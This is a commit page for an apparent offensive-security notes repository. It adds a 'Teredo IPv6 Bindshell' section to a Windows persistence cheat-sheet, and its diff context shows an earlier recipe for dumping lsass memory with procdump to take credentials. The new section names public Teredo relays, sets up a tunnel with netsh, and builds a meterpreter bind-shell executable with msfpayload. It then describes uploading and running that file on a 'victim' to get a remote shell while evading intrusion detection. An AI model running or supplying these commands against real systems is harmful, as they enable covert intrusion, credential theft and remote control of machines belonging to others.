Skip to content

Commit 29aa7bf

Browse files
committed
Add in Teredo Tunneling
Explain how to use Teredo Tunneling to create shells to victims using IPv6 over IPv4 to evade IDS and other potential issues.
1 parent c297085 commit 29aa7bf

File tree

1 file changed

+25
-0
lines changed

1 file changed

+25
-0
lines changed

persistence/windows/general.md

Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -185,3 +185,28 @@ procdump.exe -ma lsass creds.dump
185185
at \\targetserver 13:37 C:\procdump.bat
186186
copy \\targetserver\c$\targetserver.dmp .
187187
```
188+
189+
### Teredo IPv6 Bindshell
190+
Creating a teredo tunnel to allow a remote victim to tunnel IPv6 packets over IPv4 may allow you to evade some
191+
filter detection systems and extract information from a victim without triggering alerts on the target network.
192+
193+
In order to do this one needs to use a teredo server which will convert IPv4 packets to IPv6 packets and vice versa.
194+
Several publicly available servers are available including:
195+
196+
* teredo.trex.fi
197+
* teredo.remlab.net
198+
* teredo-debian.remlab.net
199+
* teredo.ngix.ne.kr
200+
* win8.ipv6.microsoft.com (This may be shaky on Windows 7, so don't rely on it)
201+
202+
To set up a tunnel, issue the following commands:
203+
204+
```
205+
netsh interface ipv6 install
206+
netsh interface ipv6 teredo enterpriseclient
207+
netsh interface ipv6 teredo set client teredo.trex.fi
208+
msfpayload windows/meterpreter/bind_ipv6_tcp LPORT=5555 X > bind.exe
209+
```
210+
211+
All we have to do at this point is upload the resulting bind.exe payload to the victim, execute it, and then set up
212+
metasploit to connect to the public IPv6 address that the victim was assigned on the specified port (5555 in this example), and we should now be able to get a meterpreter shell using teredo tunneling :)

0 commit comments

Comments
 (0)